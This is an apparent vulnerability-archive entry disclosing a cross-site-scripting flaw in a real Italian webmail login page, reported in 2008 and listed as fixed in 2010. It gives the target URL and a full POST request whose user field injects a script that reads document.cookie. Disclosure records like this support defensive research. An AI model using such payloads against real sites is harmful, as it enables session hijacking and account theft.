Security researcher JackLantern, has submitted on 17/04/2008 a cross-site-scripting (XSS) vulnerability affecting webmaildomini.aruba.it, which at the time of submission ranked 1237 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 21/05/2010. It is currently fixed. |
Date submitted: 17/04/2008 |
Date published: 21/05/2010 |
Date fixed: 21/05/2010 | Status: FIXED |
Author: JackLantern |
Domain: webmaildomini.aruba.it |
Category: XSS |
Pagerank: 1237 |
URL: http://webmaildomini.aruba.it/cgi-bin/webmail.cgi |
POST: cmd=login&tcode=22168162604&frames=false&email=&frames=true&page=frame.tpl&on_error=show&err_page=lo gin.tpl&user=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&pass=&selected_tpl=surge+_n one_&_tpl_lang=Italiano&login.x=72&login.y=11 |
Click here to view the mirror
|
|
|